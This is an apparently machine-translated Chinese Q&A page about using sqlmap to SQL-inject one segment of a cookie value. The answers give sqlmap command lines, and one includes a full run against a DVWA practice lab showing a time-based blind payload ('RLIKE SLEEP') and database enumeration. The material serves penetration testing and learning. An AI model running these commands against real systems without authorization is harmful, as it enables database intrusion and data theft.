如何使用sqlmap注入一部分cookie

时间：2014-06-23 13:12:10

标签： sqlmap

我需要使用sqlmap对Cookie的一部分进行SQL注入。目标URL是静态的。

示例Cookie：

Cookie1=blah_var1/blah_val1/blah_var2/blah_val2/searchtext/userinput/blah_var3/blah_val3/.../

在这个cookie中，我需要注入＆＃34; userinput＆＃34;使用sqlmap。我知道--cookie参数，但在这种情况下它不会工作。这就像只有cookie的一部分必须使用sqlmap注入。

我不知道该怎么做。请帮忙。

4 个答案:

答案 0 :(得分：4)

拦截所有请求，将其保存到文件中，然后使用-r参数将该文件提供给sqlmap，默认情况下sqlmap应检查cookie。

sqlmap.py -r request.txt

您可以使用篡改数据（firefox扩展名）或免费版本的burp代理来拦截请求。

答案 1 :(得分：1)

尝试这样的事情：

sqlmap.py -u localhost/vulnerable --cookie="STATE_COOKIE=%2F1%2F_VMD%2F1%26_REQS%2F_RVID%2FCriteriaResourceFilter%2F_TIME%2‌​F1403689244638%2F_ORVID%2FPassTrixMain%2FSEARCH_COLUMN%2FRESOURCENAME%2FSEARCH_VA‌​LUE%2Fsearchtext*"

答案 2 :(得分：0)

我在将SQL注入Cookie中时遇到了同样的问题，我查看了它的帮助及其代码，现在终于有了一些道理，让我提出我的假设：

  1. Cookie基本注入仅适用于level>=2。
  2. 您需要指定param-filter='COOKIE'。
  3. 在请求sqlmap时不要让sqlmap尝试 URI注入，否则它将因进行基于GET / POST的测试而失败。
  4. 如果您在该可测试的cookie上指定自定义注入标记，请不要继续操作，否则它将失败。

在第3点和第4点上，我没有尝试太多组合，请随意使它们无效。好吧，尝试这样的事情：

sqlmap -u 'protocol://test.server/test_url/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777'  --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2
基于cookie的测试所需的

选项为： -u ，-cookie ， -p ，-参数过滤器，-级别。

命令在SQLMap版本上尝试过： 1.4.8＃stable

输出：

$ sqlmap -u 'http://dvwa.local/vulnerabilities/sqli_blind/' --cookie='id=*; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high' -p 'id' --param-filter='COOKIE' --skip='PHPSESSID,security' --flush-session --fresh-queries --proxy='https://localhost:7777'  --dbs --dbms='mysql' --os='linux' --ignore-code=404 --output-dir=./sqlmapdir/ --level=2
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.8#stable}
|_ -| . [,]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:18:36 /2020-08-31/

[01:18:36] [WARNING] using '/home/dinesh/Documents/work/workspaces/git_temp_projs/dvwa/SQL_Injection_Blind/sqlmapdir' as the output directory
[01:18:36] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site_com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q] n
custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] n
[01:18:39] [INFO] testing connection to the target URL
[01:18:40] [INFO] testing if the target URL content is stable
[01:18:43] [INFO] target URL content is stable
do you want to URL encode cookie values (implementation specific)? [Y/n] y
[01:19:01] [WARNING] heuristic (basic) test shows that Cookie parameter 'id' might not be injectable
[01:19:02] [INFO] testing for SQL injection on Cookie parameter 'id'
[01:19:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:19:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[01:19:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[01:19:15] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[01:19:17] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[01:19:17] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[01:19:17] [INFO] testing 'Generic inline queries'
[01:19:17] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[01:19:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[01:19:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:19:26] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[01:19:31] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:19:32] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[01:19:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[01:19:47] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[01:19:50] [INFO] testing 'MySQL inline queries'
[01:19:52] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[01:19:52] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[01:19:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:20:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[01:20:33] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[01:21:28] [INFO] Cookie parameter 'id' appears to be 'MySQL >= 5.0.12 RLIKE time-based blind' injectable 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (2) and risk (1) values? [Y/n] n
[01:23:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:23:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:23:47] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] n
[01:24:08] [WARNING] if UNION based SQL injection is not detected, please consider usage of option '--union-char' (e.g. '--union-char=1') 
[01:24:08] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[01:24:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[01:24:27] [INFO] testing 'MySQL UNION query (65) - 21 to 40 columns'
[01:24:36] [INFO] checking if the injection point on Cookie parameter 'id' is a false positive
Cookie parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 262 HTTP(s) requests:
---
Parameter: id (Cookie)
    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: id=*' RLIKE SLEEP(5) AND 'EZrr'='EZrr; PHPSESSID=jh3c0eqqu03mlcvjh1ddjj1spr; security=high
---
[01:50:27] [INFO] the back-end DBMS is MySQL
[01:50:27] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[01:50:52] [INFO] fetching database names
[01:50:52] [INFO] fetching number of databases
[01:50:52] [INFO] retrieved: 2
[01:51:42] [INFO] retrieved: information_schema
[02:16:58] [INFO] retrieved: dvwa
available databases [2]:
[*] dvwa
[*] information_schema

[02:22:32] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 414 times
[02:22:32] [INFO] fetched data logged to text files under '/home/dinesh/Documents/work/workspaces/git_temp_projs/dvwa/SQL_Injection_Blind/sqlmapdir/dvwa.local'

[*] ending @ 02:22:32 /2020-08-31/

答案 3 :(得分：0)

这将测试 cookie 中的参数 auth：

sqlmap -u "website" --cookie='auth=blabla; uuid=blabla' -p auth --level=2

Level 必须至少为 2。这不是指定要测试的参数的唯一方法，您还可以使用 * 指定注入点。

sqlmap -u "website" --cookie='auth=blabla; uuid=*' --level=2
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